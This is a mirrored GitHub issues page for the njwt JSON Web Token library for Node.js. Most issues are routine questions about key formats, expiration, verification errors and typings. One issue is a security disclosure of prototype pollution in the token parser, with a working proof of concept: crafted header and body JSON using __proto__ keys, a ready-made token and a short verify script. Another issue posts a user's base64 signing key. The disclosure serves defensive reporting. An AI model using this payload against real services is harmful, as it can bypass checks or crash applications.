Giter VIP home page Giter VIP logo

njwt's People

Contributors

bdemers avatar bretterer avatar brettritter-okta avatar chrift avatar dogeared avatar jaredperreault-okta avatar lhazlewood avatar oleksandrpravosudko-okta avatar patoi avatar robertjd avatar swiftone avatar typerandom avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

njwt's Issues

Why not asymetric crypto?

I dont get why you rely on a shared secret between SSO server and microservice. Why not use a private Key for the server and the according public key on the microservice?

jti and iat overwritten during parse

When verifying a token the jti and iat are both overwritten with newer values (new id for jti and new time for iat)
I want to track tokens issued via their jti.

I temp hacked your code to

RSA key format

Trying to find out what format is accepted to use RSA key for signingKey parameter. Tried this without success:

var signingKey = Buffer.from("-----BEGIN RSA PRIVATE KEY-----XXXXXXX-----END RSA PRIVATE KEY-----", 'base64');

Thanks!

[Security] Prototype Pollution in nJwt library

Prototype Pollution in nJwt library

Description

The nJwt library is susceptible to prototype pollution, particularly affecting the JwtHeader and JwtBody objects. These objects lack validation to ensure that attributes assigned to them don't resolve to the object prototype. The problem lies within the Parser.prototype.parse method, which is invoked when a user attempts to verify a JWT token using the nJwt.verify(token, signingKey) method.

By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object and its inheritance or bypass certain checks. This can be problematic if the software depends on the existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString, or valueOf).

Proof of Concept (PoC)

Create a new JWT token with header and body as follows:

JWT Header

{
  "typ": "JWT",
  "alg": "HS256",
  "__proto__": {
    "compact": null,
    "reservedKeys": ["typ", "random_gibberish"] // original: ["typ", "alg"]
  }
}

JWT Body

{
  "sub": 1,
  "scope": "user",
  "jti": "4cf58968-e553-4ebd-8d52-1407c654e8d6",
  "iat": 1713925867,
  "exp": 1713929467,
  "__proto__": {
    "compact": null,
    "toJSON": null,
    "polluted": true
  }
}

Resulting Token (Example)

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsIl9fcHJvdG9fXyI6eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsIl9fcHJvdG9fXyI6eyJjb21wYWN0IjpudWxsLCJyZXNlcnZlZEtleXMiOlsidHlwIiwicmFuZG9tX2dpYmJlcmlzaCJdfX19.eyJzdWIiOjEsInNjb3BlIjoidXNlciIsImp0aSI6ImJhZmIxNmNlLTIwZDYtNGNkNy05NDgzLTY1YTA5NThhOGU2NCIsImlhdCI6MTcxMzk0NTM3OSwiZXhwIjoxNzEzOTQ4OTc5LCJfX3Byb3RvX18iOnsiY29tcGFjdCI6bnVsbCwidG9KU09OIjpudWxsLCJwb2xsdXRlZCI6dHJ1ZX19.0XBjesxGkSMBjI5_LrwobgoyG-VXI2HCXTGVU-fLFuk

Then, supply the token to be verified with nJwt.verify() function, for example:

// poc.js

var nJwt = require('njwt');

var secureRandom = require('secure-random');
var signingKey = secureRandom(256, {type: 'Buffer'});

var token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsIl9fcHJvdG9fXyI6eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsIl9fcHJvdG9fXyI6eyJjb21wYWN0IjpudWxsLCJyZXNlcnZlZEtleXMiOlsidHlwIiwicmFuZG9tX2dpYmJlcmlzaCJdfX19.eyJzdWIiOjEsInNjb3BlIjoidXNlciIsImp0aSI6ImJhZmIxNmNlLTIwZDYtNGNkNy05NDgzLTY1YTA5NThhOGU2NCIsImlhdCI6MTcxMzk0NTM3OSwiZXhwIjoxNzEzOTQ4OTc5LCJfX3Byb3RvX18iOnsiY29tcGFjdCI6bnVsbCwidG9KU09OIjpudWxsLCJwb2xsdXRlZCI6dHJ1ZX19.0XBjesxGkSMBjI5_LrwobgoyG-VXI2HCXTGVU-fLFuk";

nJwt.verify(token, signingKey);

As a result, the JwtHeader and JwtBody attributes will be polluted as follows:

JWT Header

[JWT Header] Attribute Before Pollution:  JwtHeader { typ: 'JWT', alg: 'HS256' }
[JWT Header] Prototype Before Pollution:  { reservedKeys: [ 'typ', 'alg' ], compact: [Function: compact] }

[JWT Header] Attribute After Pollution:  { typ: 'JWT', alg: 'HS256' }
[JWT Header] Prototype After Pollution:  { compact: null, reservedKeys: [ 'typ', 'random_gibberish' ] }

JWT Body

[JWT Body] Attribute Before Pollution:  JwtBody {}
[JWT Body] Prototype Before Pollution:  { toJSON: [Function (anonymous)], compact: [Function: compact] }

[JWT Body] Attribute After Pollution:  {
  sub: 1,
  scope: 'user',
  jti: 'bafb16ce-20d6-4cd7-9483-65a0958a8e64',
  iat: 1713945379,
  exp: 1713948979
}
[JWT Body] Prototype After Pollution:  { compact: null, toJSON: null, polluted: true }

Impact

An arbitrary user can override existing attributes with ones that have incompatible types, which may lead to a crash, or bypass certain checks via attribute modification, for example, overriding the JwtHeader.prototype.reservedKeys arrays. It might also be possible to create polluted attributes on every object inheriting from JwtBody and JwtHeader objects.

Mitigation

This issue can be fixed by freezing the prototype, or by implementing validation to check for prototype keywords (__proto__, constructor and prototype), where if it exists, the function denies merging it into JwtBody and JwtHeader object, thus preventing the prototype pollution vulnerability.

Implement key resolver

It's time for us to do this :)

I imagine it would look something like this:

function resolver(kid, callback){
  // .. find the signing key
  cb(err, key);
}

// sync/throw

var verifiedJwt = nJwt.verify(token,signingKey).withKeyResolver(resolver);

// async/cb

nJwt.verify(token,resolver,function(err,verifiedJwt){
  // ..
});

TLS issue

Disregard this. My admin pulled the root cert and not the full chain.

I'm getting the following error: "Error: unable to verify the first certificate
at TLSSocket.onConnectSecure (_tls_wrap.js:1049:34)
at TLSSocket.emit (events.js:182:13)
at TLSSocket._finishInit (_tls_wrap.js:631:8)"

I'm assuming this is error is thrown while calling my issuer to get my keys. I have a custom domain with CNAME pointing to my actual issuer. Both my custom domain and actual issuer have proper certs installed on the servers. I should mentioned that my custom domain is a wildcard cert.

If I issue a token using the actual domain of the issuer and not the custom domain then it works just fine.

Do not set an expiration claim if it has already been defined by the user

I find it a little confusing that I have to do the following in order to set an expiration - am I just missing something?

const claims = {
	exp: expirationTimestampInSeconds
}
const jwt = njwt.create(claims, signingKey, 'HS256');
jwt.setExpiration(claims.exp * 1000); // this accepts milliseconds for some reason

return jwt.compact();

In create, why not skip the expiration setting part, if the claims already contains the exp claim?

Jwt created by verify() is not setting signingKey

Calling .compact() on jwt returned by verify method is throwing an error.

njwt.verify( token, signinKey, function ( err, jwt ) {
    if ( err ) {
        console.log( "error", err, "\n\n" );
        res.send( 401 );
    } else {
    	jwt.setExpiration();
        var new_token = jwt.compact(); //this line throws an error "Signing key is required"
        res.status( 200 ).send( "You are logged out" );
    }
} );

How to report security issues?

The documentation for this project doesn't specify how security vulnerabilities should be reported.
How would security issues be reported? Should it be done through opening an issue/PR? Thanks!

verify a google jwt?

Hi, I am using the google react plugin which adds a signin button to my app. When I click button, my app receives a Google JWT which I then send to my backend to verify and extract user info.

However, I am currently using googles 'tokeninfo' endpoint to verify it

e.g.

https://www.googleapis.com/oauth2/v3/tokeninfo?id_token=${token}

My question is how can I use your library to verify a google jwt ? I think it needs to use googles public key to decrypt etc.. was hoping you might have an example ?

thanks

View claims without verifying the signature?

Hi,
I've had a look and it doesn't appear there is a way to parse the claims in the JWT without specifically verifying the token. Is there a way to do this?

That would prove useful in a situation where you may have a dynamic secret.

Thanks! :)

JWT expiration and issuedAt properties and setters are inconsistent

The Jwt.prototype.setIssuedAt() and .setExpiration() functions are both time-related, but take in three separate arguments of inconsistent types. IssuedAt only takes in an integer representing seconds, while Expiration can take an integer representing milliseconds, or a Date object. Can you make these arguments consistent?

njwt.create(...)
  .setIssuedAt(seconds)
  .setExpiration(date or milliseconds);

IssuedAt:

njwt/index.js

Lines 182 to 185 in ce98cd4

Jwt.prototype.setIssuedAt = function setIssuedAt(iat) {
this.body.iat = iat;
return this;
};

njwt/index.js

Lines 155 to 157 in ce98cd4

if (!this.body.iat) {
this.setIssuedAt(nowEpochSeconds());
}

njwt/index.js

Lines 38 to 40 in ce98cd4

function nowEpochSeconds(){
return Math.floor(new Date().getTime()/1000);
}

Expiration:

njwt/index.js

Line 188 in ce98cd4

this.body.exp = Math.floor((exp instanceof Date ? exp : new Date(exp)).getTime() / 1000);

Add Typings

Would be very useful if this library included Type definitions (@types/njwt apparently has not been created by a type definition contributor yet)

is setNotbefore() working?

tried it by following the doc. in github. got error instead:

TypeError: token.setNotbefore is not a function

any idea?

Errors should be separately typed and documented

Errors are currently only identifiable as JwtError or JwtParseError. We should create specific errors for each error type so that they can be easily handled. Also, there's currently no documentation for the errors that the library can throw. We need to add that.

E.g. instead of returning:

new JwtParseError(properties.errors.SIGNATURE_ALGORITHM_MISMTACH, jwtString, header, body);

We should return:

new SignatureAlgorithmMismatchJwtParseError(jwtString, header, body);

Suggestion: throw an error if you call create with string as signing key instead of a Buffer

Today I spent more time than I care to admit chasing down a bug in my authentication mechanism. I kept getting correctly looking JWTs, but they would not be accepted by my other services (that are not running on node).

In the end, it turned out to be a simple mistake of me providing create with string as signing key instead of a Buffer.

Is there a specific reason that create does not raise an error saying that I am doing something dumb?

Docker Issue

Hi,
Have created node js API project where i have used this library but i was getting this error when starting the docker:
image

ES* signatures are not spec compliant

Heyo - found myself here from another library.

Just had a quick look and it would appear njwt also suffers the same problem as jjwt from this organisation (jwtk/jjwt#125). Just from looking at the library, it seems to me the "OpenSSL" ASN.1 encoded signature is being returned (and expected on verification) directly.

If it helps, I created ecdsa-sig-formatter last year to solve the same problem with node-jwa which you could easily add in.

Export the Parser

The parser is not visible outside of the module. In order to get access to the header.kid (Key ID), It would be nice to have access to the parser.
I would like to implement a key lookup, and I need to kid from the header.

JwtParseError: Signature verification failed

Referencing #46

I'm struggling with this same issue.

var jwt = nJwt.create(claims,signingKey).setHeader('kid', key._id);
jwt.setExpiration();
return {
    signing_key : signingKey.toString('base64'),
    secret : jwt.compact(),
};

Verifier:

function getAppKey(kid, cb) {
    var key = Keys.findOne(kid);

    if (key) {
        return cb(null, key.signing_key);
    }

    cb(new Error('Unknown kid'));
};

let verifier = nJwt.createVerifier().withKeyResolver(getAppKey);

try {
    var parsedJwt = verifier.verify(token);
    return {
        verified : true,
    };
} catch(e) {
    console.log(e);
    return {
        verified : false,
        app : null,
    };
}

Error:

[JwtParseError: Signature verification failed] {
I20221223-13:29:17.200(0)?   userMessage: 'Signature verification failed',
I20221223-13:29:17.200(0)?   jwtString: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImtvVFdNcGdpU0FTU1FQcm15In0.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvIiwic3ViIjoiamtacWtCcW1RRHZadGpkOVIiLCJqdGkiOiI0ODRjNWUxZi0zN2Q4LTRmMDItOWVhZC01Zjk0YWVjMTk1NzAiLCJpYXQiOjE2NzE4MDE2NTh9.M-TeAefEOVA4cLMzq-aS7zuUSZBsWuA06Hnvxm8Fx50',
I20221223-13:29:17.200(0)?   parsedHeader: JwtHeader { typ: 'JWT', alg: 'HS256', kid: 'koTWMpgiSASSQPrmy' },
I20221223-13:29:17.200(0)?   parsedBody: JwtBody {
I20221223-13:29:17.200(0)?     iss: 'http://localhost:3000/',
I20221223-13:29:17.200(0)?     sub: 'jkZqkBqmQDvZtjd9R',
I20221223-13:29:17.200(0)?     jti: '484c5e1f-37d8-4f02-9ead-5f94aec19570',
I20221223-13:29:17.200(0)?     iat: 1671801658
I20221223-13:29:17.200(0)?   },
I20221223-13:29:17.200(0)?   innerError: undefined
I20221223-13:29:17.200(0)? }

EDIT:

  • I can verify that when the signingKey is still a Buffer the verification succeeds.
  • When encoding the signingKey to base64url signingKey.toString('base64url') the error persists.

Any help appreciated.

Remove jti?

I don't want the jti. How do I remove it?

Undocumented - Return in verify

When verify a JWT the following is returned header body and then:

toString: [Function]

What is the expected operation of toString. There is no mention in the docs.

body vs parsedBody

After I verify a token, I want to look at the token payload.

I have seen both body and parsedBody returned on the verified object - why are there two differences ?

 header: JwtHeader { typ: 'JWT', alg: 'HS256' },
  body: 
   JwtBody {

and

 parsedHeader: JwtHeader { typ: 'JWT', alg: 'HS256' },
  parsedBody: 
   JwtBody {

Formatting should follow Crockford's JavaScript formatting conventions

Formatting should follow Crockford's JavaScript formatting conventions. This to increase readability and ease (most JS projects follow this style) when contributing to the project. Also, we should also add a .jslint-file so that these conventions are enforced.

E.g.

Jwt.prototype.isExpired = function() {
  return new Date(this.body.exp*1000) < new Date();
};

Should be formatted as:

Jwt.prototype.isExpired = function () {
  return new Date(this.body.exp * 1000) < new Date();
};

And:

if(header instanceof Error){
  return done(new JwtParseError(properties.errors.PARSE_ERROR,jwtString,null,null,header));
}

Should be formatted as:

if (header instanceof Error) {
  return done(new JwtParseError(properties.errors.PARSE_ERROR, jwtString, null, null, header));
}

Twistlock reported issue with test keys

I realize that this probably has nothing to do with a runtime security issue, but still such scan results are hard for developers to convince security admins that they should be ignored.

Would it be possible to exclude these keys from the distribution (or the test folder entirely if they are not necessary in the distribution).

image

README Documentation Incorrect

It looks like there are some issues with the readme in the docs here.

For instance, if I console.log a JWT, I get the following output:

Jwt {
  header: JwtHeader { typ: 'JWT', alg: 'HS256' },
  body:
   JwtBody {
     iss: 'woot',
     sub: 'woot',
     scope: 'self, admins',
     jti: '0398b13d-6a39-4028-813b-2219e077a09b',
     iat: 1452724525,
     exp: 1452728125 },
  signingKey: 'hithere' }

Compare this to the expected output from the readme:

screenshot 2016-01-13 14 37 25

As you can see: in the actual console output the claims are NOT converted to an array, and the output is not pure JSON -- it is mixed with objects.

If token is not HS256 using a verifier instance will throw a JwtParseError "Unexpected signature algorithm"

If using a different algorithm to the default (HS256) it must be set manually before calling verify, otherwise will get an "Unexpected signature algorithm" due to the check here https://github.com/jwtk/njwt/blob/master/index.js#L361

The example here should probably call this behaviour out https://github.com/jwtk/njwt#using-a-key-resolver

This tripped me up for a while when verifying a AWS Cognito token

JwtParseError: Signature verification failed

I am getting the following error when I try and verify a jwt:

  name: 'JwtParseError',
  userMessage: 'Signature verification failed',
  message: 'Signature verification failed',
  jwtString: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyLzEzOCIsInNjb3BlIjoidXNlciIsImp0aSI6IjQ0YjNjNWJmLTk3OTEtNGFmNy05MjRiLTRmNjg4ZTA5ZjA2NiIsImlhdCI6MTUwMzU5NDgzMiwiZXhwIjoxNTAzNjgxMjMyfQ.0CfrjKNO0oYNLbVQ0veKA2i5FfTqnmIZCqRNfHsoLP0',
  parsedHeader: JwtHeader { typ: 'JWT', alg: 'HS256' },
  parsedBody: 
   JwtBody {
     sub: 'user/138',
     scope: 'user',
     jti: '44b3c5bf-9791-4af7-924b-4f688e09f066',
     iat: 1503594832,
     exp: 1503681232 },
  innerError: undefined }

If I try and verify before I base64 encode my key to a string, it works fine.
if I base 64 encode a string and then turn it back into a buffer it fails.

here is a token and base64String of my signing key:

token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyLzEzOCIsInNjb3BlIjoidXNlciIsImp0aSI6IjQ0YjNjNWJmLTk3OTEtNGFmNy05MjRiLTRmNjg4ZTA5ZjA2NiIsImlhdCI6MTUwMzU5NDgzMiwiZXhwIjoxNTAzNjgxMjMyfQ.0CfrjKNO0oYNLbVQ0veKA2i5FfTqnmIZCqRNfHsoLP0
key: /n/uCjn0d1mqO8zo6+WMIRkBy1OFHVSXwShHGfLLBmRQ1vgI6WPWvHk3rcL7yf4JORHjLeAxAos6d+KnfdGxnVTcjBcrsGSA9aCcHdDNGgFg7rUgdplkTDD18/faVwveGd88u+5kwE60mnOUsBnHpKAyEsNbtyQQ5RCRYOVk1hdahZNj+s5kXJxnPNMxeT8XwH7Hx/Pm4NK3lF+JwwfDufU6rsWo5X78ndZTsqLdRED7b4RS4NFeh6EanY8NsZn

let signingKey = Buffer.from(base64SigningKey, 'base64');
    njwt.verify(token, signingKey, function (err, verified) {
        if (err) {
            console.log(err);
            context.fail("nope");
        } else {
            console.log(verified);
            context.success("yep");
        }
    });

Please let me know if I am missing anything you need. Thanks

0.3.1 creates invalid tokens

const jwt = nJwt.create({
        iss: config.appUrl,
        sub: account.href,
        jti: token
      }, config.secret);

creates a JWT with a '..' which cannot be parsed

Custom algorithm

I want to use this package in the new project, but in some cases we use our own custom algorithm. Would you accept adding some logic that allows to register new algorithm?

Expiration check succeeds on expired tokens - 'exp' looked for in body, not in header

Some servers (e.g. AWS Application Load Balancer) create JWT with .exp field inside the header of JWT, not in the body. NJWT looks for exp only in the body. Thus tokens that are clearly expired still pass the verification process. The isExpired function should probably look for .exp in both header and the body and succeed only if .exp is not there in both.

JWT header and body not URL-encoded

When calling compact(), only the signature of the token is URL-encoded. The header and body can still have characters such as '=' in them.

Potentially support kid header?

I noticed in the README and in #14 that the kid is not currently supported. Just curious if there may be plans to add this? It is required by Apple's APNS provider authentication tokens. Note however, that unofficially adding the kid into the header seems to be working; e.g.,

jwt.header.kid = '<kid>';

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.